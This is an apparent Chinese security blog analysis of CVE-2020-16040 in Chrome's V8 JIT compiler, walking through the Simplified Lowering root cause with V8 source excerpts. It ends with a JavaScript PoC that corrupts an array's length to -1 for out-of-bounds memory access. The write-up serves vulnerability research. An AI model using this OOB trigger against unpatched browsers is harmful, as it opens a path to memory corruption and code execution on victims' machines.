chrome exploitation解读:CVE-2020-16040漏洞分析与利用

前言

本篇主要是对zer0con2021上chrome exploitation议题v8部分的解读。

这个漏洞发生在Simplified Lowering phase的VisitSpeculativeIntegerAdditiveOp函数中，该函数是用来处理SpeculativeSafeIntegerAdd/SpeculativeSafeIntegerSubtract节点，对其重新计算类型并将其转化或者降级到更底层的IR。
这个函数非常有趣，据我所知它已经出了三个可以RCE的漏洞了

Simplified lowing phase和Root Cause

• 反向数据流分析，传播truncation，并设置restriction_type
• 正向数据流分析，重新计算类型，并设置representation。
• 降级(lower)节点或者插入转换(conversion)节点

重要的数据结构和函数

• NodeInfo，记录数据流分析中节点的各种类型信息，主要包括truncation(指明该节点在使用的时候的截断信息)，restriction_type(在truncation传播阶段设置它的值，用于在retype的时候设置feedback_type)，feedback_type（用于在Retype phase重新计算type信息），representation（节点retype完成之后最终的表示类型，可以用于指明应该如何lower到更具体的节点，是否需要Convert）等。

// Information for each node tracked during the fixpoint.
class NodeInfo final {
 public:
  // Adds new use to the node. Returns true if something has changed
  // and the node has to be requeued.
  bool AddUse(UseInfo info) {
    Truncation old_truncation = truncation_;
    truncation_ = Truncation::Generalize(truncation_, info.truncation());
    return truncation_ != old_truncation;
  }

  void set_queued() { state_ = kQueued; }
  void set_visited() { state_ = kVisited; }
  void set_pushed() { state_ = kPushed; }
  void reset_state() { state_ = kUnvisited; }
  bool visited() const { return state_ == kVisited; }
  bool queued() const { return state_ == kQueued; }
  bool pushed() const { return state_ == kPushed; }
  bool unvisited() const { return state_ == kUnvisited; }
  Truncation truncation() const { return truncation_; }
  void set_output(MachineRepresentation output) { representation_ = output; }

  MachineRepresentation representation() const { return representation_; }

  // Helpers for feedback typing.
  void set_feedback_type(Type type) { feedback_type_ = type; }
  Type feedback_type() const { return feedback_type_; }
  void set_weakened() { weakened_ = true; }
  bool weakened() const { return weakened_; }
  void set_restriction_type(Type type) { restriction_type_ = type; }
  Type restriction_type() const { return restriction_type_; }

 private:
  enum State : uint8_t { kUnvisited, kPushed, kVisited, kQueued };
  State state_ = kUnvisited;
  MachineRepresentation representation_ =
      MachineRepresentation::kNone;             // Output representation.
  Truncation truncation_ = Truncation::None();  // Information about uses.

  Type restriction_type_ = Type::Any();
  Type feedback_type_;
  bool weakened_ = false;
};

• ProcessInput
  这是一个模板函数，根据不同的phase调用不同的实现，对于truncation propagate phase，它将直接调用EnqueueInput。

  template <>
  void RepresentationSelector::ProcessInput<PROPAGATE>(Node* node, int index,
                                                       UseInfo use) {
    DCHECK_IMPLIES(use.type_check() != TypeCheckKind::kNone,
                   !node->op()->HasProperty(Operator::kNoDeopt) &&
                       node->op()->EffectInputCount() > 0);
    EnqueueInput<PROPAGATE>(node, index, use);
  }
  
  template <>
  void RepresentationSelector::ProcessInput<RETYPE>(Node* node, int index,
                                                    UseInfo use) {
    DCHECK_IMPLIES(use.type_check() != TypeCheckKind::kNone,
                   !node->op()->HasProperty(Operator::kNoDeopt) &&
                       node->op()->EffectInputCount() > 0);
  }
  
  template <>
  void RepresentationSelector::ProcessInput<LOWER>(Node* node, int index,
                                                   UseInfo use) {
    DCHECK_IMPLIES(use.type_check() != TypeCheckKind::kNone,
                   !node->op()->HasProperty(Operator::kNoDeopt) &&
                       node->op()->EffectInputCount() > 0);
    ConvertInput(node, index, use);
  }
  
  ...
   // Converts input {index} of {node} according to given UseInfo {use},
    // assuming the type of the input is {input_type}. If {input_type} is null,
    // it takes the input from the input node {TypeOf(node->InputAt(index))}.
    void ConvertInput(Node* node, int index, UseInfo use,
                      Type input_type = Type::Invalid()) {
      // In the change phase, insert a change before the use if necessary.
      if (use.representation() == MachineRepresentation::kNone)
        return;  // No input requirement on the use.
      Node* input = node->InputAt(index);
      DCHECK_NOT_NULL(input);
      NodeInfo* input_info = GetInfo(input);
      MachineRepresentation input_rep = input_info->representation();
      if (input_rep != use.representation() ||
          use.type_check() != TypeCheckKind::kNone) {
        // Output representation doesn't match usage.
        TRACE("  change: #%d:%s(@%d #%d:%s) ", node->id(), node->op()->mnemonic(),
              index, input->id(), input->op()->mnemonic());
        TRACE("from %s to %s:%s\n",
              MachineReprToString(input_info->representation()),
              MachineReprToString(use.representation()),
              use.truncation().description());
        if (input_type.IsInvalid()) {
          input_type = TypeOf(input);
        }
        Node* n = changer_->GetRepresentationFor(input, input_rep, input_type,
                                                 node, use);
        node->ReplaceInput(index, n);
      }
    }

• EnqueueInput
  这个函数先从全局数组里取出node的指定index的输入节点对应的NodeInfo信息，然后调用AddUse来更新info的truncation_字段，从而将truncation反向传播。

  // Enqueue {use_node}'s {index} input if the {use_info} contains new information
  // for that input node.
  template <>
  void RepresentationSelector::EnqueueInput<PROPAGATE>(Node* use_node, int index,
                                                       UseInfo use_info) {
    Node* node = use_node->InputAt(index);
    NodeInfo* info = GetInfo(node);
  #ifdef DEBUG
    // Check monotonicity of input requirements.
    node_input_use_infos_[use_node->id()].SetAndCheckInput(use_node, index,
                                                           use_info);
  #endif  // DEBUG
    if (info->unvisited()) {
      info->AddUse(use_info);
      TRACE("  initial #%i: %s\n", node->id(), info->truncation().description());
      return;
    }
    TRACE("   queue #%i?: %s\n", node->id(), info->truncation().description());
    if (info->AddUse(use_info)) {
      // New usage information for the node is available.
      if (!info->queued()) {
        DCHECK(info->visited());
        revisit_queue_.push(node);
        info->set_queued();
        TRACE("   added: %s\n", info->truncation().description());
      } else {
        TRACE(" inqueue: %s\n", info->truncation().description());
      }
    }
  }
      bool AddUse(UseInfo info) {
        Truncation old_truncation = truncation_;
        truncation_ = Truncation::Generalize(truncation_, info.truncation());
        return truncation_ != old_truncation;
      }

• SetOutput
  这个函数也是模板函数，根据不同phase调用不同的偏特化实现
  • 对于truncation propagate phase，它将更新节点对应的nodeinfo的restriction_type_，并用于后续的retype phase上。
  • 对于retype phase，它将更新节点的representation表示。

    template <>
    void RepresentationSelector::SetOutput<PROPAGATE>(
        Node* node, MachineRepresentation representation, Type restriction_type) {
      NodeInfo* const info = GetInfo(node);
      info->set_restriction_type(restriction_type);
    }
    
    template <>
    void RepresentationSelector::SetOutput<RETYPE>(
        Node* node, MachineRepresentation representation, Type restriction_type) {
      NodeInfo* const info = GetInfo(node);
      DCHECK(restriction_type.Is(info->restriction_type()));
      info->set_output(representation);
    }
    
    template <>
    void RepresentationSelector::SetOutput<LOWER>(
        Node* node, MachineRepresentation representation, Type restriction_type) {
      NodeInfo* const info = GetInfo(node);
      DCHECK_EQ(info->representation(), representation);
      DCHECK(restriction_type.Is(info->restriction_type()));
      USE(info);
    }

PoC

• Issue
  https://bugs.chromium.org/p/chromium/issues/detail?id=1150649

  // test/mjsunit/compiler/regress-1150649.js 
  function foo(a) {
      var y = 0x7fffffff;
      
      if (a == NaN) y = NaN;
      
      if (a) y = -1;
      const z = (y + 1)|0;
      return z < 0; 
  }
  %PrepareFunctionForOptimization(foo); 
  assertFalse(foo(true)); 
  %OptimizeFunctionOnNextCall(foo); 
  assertTrue(foo(false)); // return False, FAILURE!!!
  function foo(a) {
    var y = 0x7fffffff; // 2^31 - 1
    if (a == NaN) y = NaN; // Widen the static type of y (this condition never holds).
    if (a) y = -1;// The next condition holds only in the warmup run. It leads to Smi (SignedSmall) feedback being collected for the addition below. 
    let z = (y + 1) | 0;
    return z < 0;
  }
  %PrepareFunctionForOptimization(foo);
  foo(true);
  %OptimizeFunctionOnNextCall(foo);
  print(foo(false));

  经过Typer phase之后:

  y:
  (NaN | Range(-1, 0x7fffffff))
  y + 1:
  Range(0, 0x80000000)
  (y + 1) | 0:
  Range(-0x80000000, 0x7fffffff)

  若是正常的解释执行，则const z = (y + 1)|0;将计算出-0x80000000，其小于0显然为true，但在有漏洞的情况下却返回false。

truncation propagation

通过./d8 --allow-natives-syntax --trace-representation poc.js可以完整的trace这三个阶段。

首先对于truncation propagation，可以看出在反向遍历节点的时候，在visit NumberLessThan的时候，将其输入节点#47的truncation由TruncationKind::kNone(no-value-use)更新到TruncationKind::kWord32(truncate-to-word32)，代表它在使用的时候会被截断到word32。

visit #57: NumberLessThan (trunc: no-truncation (but distinguish zeros))
  queue #47?: no-value-use
inqueue: truncate-to-word32

在处理y+1的时候,最终会调用到VisitBinop，其将左值和右值输入节点启发式的传播其truncation信息，并将SpeculativeSafeIntegerAdd对应的nodeinfo里的restriction_type字段更新到Type::Signed32

visit #45: SpeculativeSafeIntegerAdd (trunc: truncate-to-word32)
 initial #41: no-truncation (but identify zeros)
 initial #44: no-truncation (but identify zeros)

void VisitSpeculativeIntegerAdditiveOp(Node* node, Truncation truncation,SimplifiedLowering* lowering) {
    ...
    VisitBinop(..., Type::Signed32());
    ...

void VisitBinop(Node* node, UseInfo left_use, UseInfo right_use, MachineRepresentation output, Type restriction_type = Type::Any()) {
   DCHECK_EQ(2, node->op()->ValueInputCount());
   ProcessInput<T>(node, 0, left_use);
   ProcessInput<T>(node, 1, right_use);
   for (int i = 2; i < node->InputCount(); i++) {
     EnqueueInput<T>(node, i);
   }
   SetOutput<T>(node, output, restriction_type);
 }

Retype phase

Retype phase进行正向数据流分析，从Start节点开始，对每个节点UpdateFeedbackType更新类型，并将更新后的类型向前传播。

#45:SpeculativeSafeIntegerAdd[SignedSmall](#41:Phi, #44:NumberConstant, #42:Checkpoint, #38:Merge)  
[Static type: Range(0, 2147483648), 
Feedback type: Range(0, 2147483647)]
 visit #45: SpeculativeSafeIntegerAdd
  ==> output kRepWord32

Type FeedbackTypeOf(Node* node) {
    Type type = GetInfo(node)->feedback_type();
    return type.IsInvalid() ? Type::None() : type;
}
...
bool UpdateFeedbackType(Node* node) {
...
    Type input0_type;
    if (node->InputCount() > 0) input0_type = FeedbackTypeOf(node->InputAt(0));
    Type input1_type;
    if (node->InputCount() > 1) input1_type = FeedbackTypeOf(node->InputAt(1));
    ...
    #define DECLARE_CASE(Name)                                               \
    case IrOpcode::k##Name: {                                              \
        new_type = Type::Intersect(op_typer_.Name(input0_type, input1_type), \
                                info->restriction_type(), graph_zone());  \
        break;                                                               \
    }
    SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(DECLARE_CASE)
    SIMPLIFIED_SPECULATIVE_BIGINT_BINOP_LIST(DECLARE_CASE)
#undef DECLARE_CASE
...
    GetInfo(node)->set_feedback_type(new_type);
...
}

#define SIMPLIFIED_SPECULATIVE_NUMBER_BINOP_LIST(V) \
....
  V(SpeculativeNumberBitwiseOr)  
  V(SpeculativeSafeIntegerAdd)                      \
  V(SpeculativeSafeIntegerSubtract)

首先对左值和右值输入节点调用FeedbackTypeOf函数，这个函数会去确定该节点对应的nodeinfo上是否有feedback字段被设置，如果有则代表该输入节点的类型在retype的时候被更新了，需要取该类型作为实际的类型信息，否则代表没有更新，和之前typer阶段分析的一致，直接取原本的type即可，最终得到input0_type和input1_type。

这个宏看上去很不好理解，但其实意思就是对于
SpeculativeSafeIntegerAdd节点，先根据input0_type和input1_type，重新调用SpeculativeSafeIntegerAdd运算符的type函数，计算出一个类型，其应该是Range(0, 2147483648)。

然后将这个结果和restriction_type即Signed32取交集，而Signed32的范围应该是(-2147483648,2147483647)，最终得到Feedback type是Range(0, 2147483647)，并将这个结果更新到节点对于nodeinfo的feedback_type字段上。

SpeculativeNumberBitwiseOr同理，由于SpeculativeSafeIntegerAdd的类型作为input0_type已经被更新了，所以调用SpeculativeNumberBitwiseOr的type函数将计算出一个新的类型，作为Feedback type传播下去。

#47:SpeculativeNumberBitwiseOr[SignedSmall](#45:SpeculativeSafeIntegerAdd, #46:NumberConstant, #45:SpeculativeSafeIntegerAdd, #38:Merge)  
[Static type: Range(-2147483648, 2147483647), 
Feedback type: Range(0, 2147483647)]
 visit #47: SpeculativeNumberBitwiseOr
  ==> output kRepWord32

Retype phase除了调用UpdateFeedbackType更新信息，还会调用VisitNode函数设置节点的respresentation，但这和这个漏洞无关，略过不表。

Lower phase

现在，每个节点都已经和它的使用信息(truncation)和output representation关联了。

最后将反向的遍历所有节点，进行lower

• 将节点本身lower到更具体的节点（通过DeferReplacement）
• 当该节点的的output representation与此输入的预期使用信息不匹配时，对节点进行转换（插入ConvertInput），比如对于一个representation是kSigned的node1，若其use节点node2会将其truncation到kWord64，则将会插入ConvertInput函数对该节点进行转换。

于是对于poc里的z < 0,由于z的类型已经被更新到了(0, 2147483647)，这个范围显然是在Unsigned32OrMinusZero里的，所以满足第一个if判断。

于是最终将NumberLessThan节点给lower到了Uint32Op。
但实际上z的值是|0x80000000|，其被当成uint32解析的话就是+0x80000000，这个值显然大于0，所以出现了和之前解释执行时候不一样的结果false。

case IrOpcode::kNumberLessThan:
case IrOpcode::kNumberLessThanOrEqual: {
  Type const lhs_type = TypeOf(node->InputAt(0));
  Type const rhs_type = TypeOf(node->InputAt(1));
  // Regular number comparisons in JavaScript generally identify zeros,
  // so we always pass kIdentifyZeros for the inputs, and in addition
  // we can truncate -0 to 0 for otherwise Unsigned32 or Signed32 inputs.
  if (lhs_type.Is(Type::Unsigned32OrMinusZero()) &&
      rhs_type.Is(Type::Unsigned32OrMinusZero())) {
    // => unsigned Int32Cmp
    VisitBinop<T>(node, UseInfo::TruncatingWord32(),
                  MachineRepresentation::kBit);
    if (lower<T>()) ChangeOp(node, Uint32Op(node));
  } else if (lhs_type.Is(Type::Signed32OrMinusZero()) &&
             rhs_type.Is(Type::Signed32OrMinusZero())) {
    // => signed Int32Cmp
    VisitBinop<T>(node, UseInfo::TruncatingWord32(),
                  MachineRepresentation::kBit);
    if (lower<T>()) ChangeOp(node, Int32Op(node));
  } else {
    // => Float64Cmp
    VisitBinop<T>(node, UseInfo::TruncatingFloat64(kIdentifyZeros),
                  MachineRepresentation::kBit);
    if (lower<T>()) ChangeOp(node, Float64Op(node));
  }
  return;
}

Exploit

array.shift trick

这个漏洞的原理至此已经分析清楚了，那么我们简单的来浏览一下这个漏洞的typer exploit trick。

//首先假设我们能让l的类型在typer阶段被推断成Range(-1,0)
let arr = new Array(l);
arr.shift();

TFBytecodeGraphBuilder

TFInlining

#81也就是array.shift将被Reduce成这些节点，我们重点关注StoreField[+12]即可，因为这代表的是重新为array的length字段赋值。

这部分IR对应的伪代码如下，摘自zer0con PPT原文。

/* JSCallReducer::ReduceArrayPrototypeShift */
let length = LoadField(arr, kLengthOffset); if (length == 0) {
    return;
} 
else {
    if (length <= 100) { 
        DoShiftElementsArray(); // Don't care 
        /* Update length field */
        let newLen = length - 1; 
        StoreField(arr, kLengthOffset, newLen);
    } 
    else /* length > 100 */ {
        CallRuntime(ArrayShift);
    } 
}

如果关注IR图的话，关注下面这部分就行了，可以看出先LoadField[+12]，然后对其减1，再StoreField[+12]回去。

TFTypedLowering

如图就是#JSCreateArray在TypedLowering phase被reduce后的IR。

伪代码如下:

// JSCreateLowering::ReduceJSCreateArray 
// JSCreateLowering::ReduceNewArray 
let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]
// len : Range(-1, 0), real: 1
let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1
let arr = Allocate(kArraySize); 
StoreField(arr, k[Map|Prop|Elem]Offset, ...);
StoreField(arr, kLengthOffset, checkedLen);

TFLoadElimination

有趣的是将上面这些reduce后的结果连起来看，会发现对length先Store，再Load，再减去一个-1，再Store，这是不是过于冗杂了呢，v8对其会进行一定的优化。

篇幅所限，略去不表，以后有空我再单独写一篇讲LoadElimination的漏洞的文章，总之最终优化后，首先会直接将#154 CheckBounds作为#133 NumberSubtract的左值输入。

然后由于之前Typer分析的时候CheckBounds的范围是(0,0)，这显然是一个常量，而#44也是一个常量1，所以#133在其输入更新后，它的type也被更新成了-1，随后就被常量折叠掉，于是最终得到的IR图如下。

最终伪代码如下:

let limit = kInitialMaxFastElementArray; // limit : NumberConstant[16380]
// len : Range(-1, 0), real: 1
let checkedLen = CheckBounds(len, limit); // checkedLen : Range(0, 0), real: 1
let arr = Allocate(kArraySize); 
StoreField(arr, kMapOffset, map); 
StoreField(arr, kPropertyOffset, property); 
StoreField(arr, kElementOffset, element);
StoreField(arr, kLengthOffset, checkedLen);

let length = checkedLen;
// length: Range(0, 0), real: 1
if (length != 0) {
    if (length <= 100) {
        DoShiftElementsArray(); 
        /* Update length field */
        StoreField(arr, kLengthOffset, -1); 
    } 
    else /* length > 100 */ 
    {
        CallRuntime(ArrayShift);
    }
}

事实上到目前为止一切就比较清晰了，只要我们能让length通过CheckBounds的检查，并且其值不等于0且小于等于100，就能在arr.shift之后让arr的length被置为-1，即0xffffffff，就实现arr的越界读写了。

最终的oob poc

function foo(a) {
  var y = 0x7fffffff;
  if (a == NaN) y = NaN; 
  if (a) y = -1;
  let z = (y + 1) + 0;
  let l = 0 - Math.sign(z);
  let arr = new Array(l);
  arr.shift();
  return arr;
}
%PrepareFunctionForOptimization(foo);
foo(true);
%OptimizeFunctionOnNextCall(foo);
print(foo(false).length);

事实上很有趣的一件事情是:

1. Retype前后的NumberSign的范围都是(0,1)，let l = 0 - Math.sign(z)在Retype前后的范围都是(-1,0)，没有变化。
2. 补丁前后，影响的也只是let z = (y + 1) + 0的范围从(0, 2147483647)，变成了(0, 2147483648)，补丁前后不影响NumberSign的范围，所以也不会影响CheckBounds的范围，也就不会影响array.shift部分生成的IR。

• 补丁前:
  
• 补丁后:
  

所以无论补丁前还是补丁后，上面array.shift部分生成的IR都没有变化。
那么难道补丁之后，我们还可以执行到StoreField(arr, kLengthOffset, -1);,从而得到OOB吗？毕竟这部分代码都还在，它没有变化。

显然不可能，事实上补丁影响到的是对NumberSign的lower，它会根据以下逻辑来计算出是-1还是1。

Int32Add...
if ChangeInt32ToFloat64 < 0:
    Select -1
else:
    Select 1

在补丁前，Int32Add(0x7fffffff, 1)之后ChangeInt32ToFloat64得到的是-0x80000000,显然小于0，得到-1，然后带入let l = 0 - Math.sign(z)运算得到length为1，于是可以通过CheckBounds的检查，最后实现OOB。

但若是在补丁后，该伪代码将变成

Int32Add...
if ChangeUInt32ToFloat64 < 0:
    Select -1
else:
    Select 1

于是在补丁后，Int32Add(0x7fffffff, 1)之后ChangeUInt32ToFloat64得到的是0x80000000，显然大于0，得到1，然后计算出的length是-1，显然不能通过CheckBounds的检查，所以即使有可以导致OOB的分支在，也无法执行进去。

Other

Int32Add从哪来

补丁前后SpeculativeSafeIntegerAdd都会被lower到Int32Add，这部分逻辑其实在这里:

if (lower<T>()) {
  if (truncation.IsUsedAsWord32() ||
      !CanOverflowSigned32(node->op(), left_feedback_type,
                           right_feedback_type, type_cache_,
                           graph_zone())) {
    ChangeToPureOp(node, Int32Op(node));
  } else {
    ChangeToInt32OverflowOp(node);
  }
}

注意truncation.IsUsedAsWord32()，只要满足这个条件，就会生成Int32Op，而要满足这个条件，目前看add | 0或者add +- 0这种都可以产生截断到word32。

如何产生SpeculativeSafeIntegerAdd节点

事实上如果从poc里去掉下面这句就不会创建出SpeculativeSafeIntegerAdd节点了，这是因为v8的启发式JIT在收集执行信息的时候，在进行add的时候，发现y + 1始终是进行的SignedSmall的add，所以会创建出SpeculativeSafeIntegerAdd。

如果没有这句，那么显然y + 1不可能是在SignedSmall范围内计算了，就会生成NumberAdd节点，也就不会走到存在漏洞的路径。

if (a) y = -1;// The next condition holds only in the warmup run. It leads to Smi (SignedSmall) feedback being collected for the addition below.

参考链接

十分感谢刘耕铭精彩的分享:)

• https://doar-e.github.io/blog/2020/11/17/modern-attacks-on-the-chrome-browser-optimizations-and-deoptimizations/
• https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf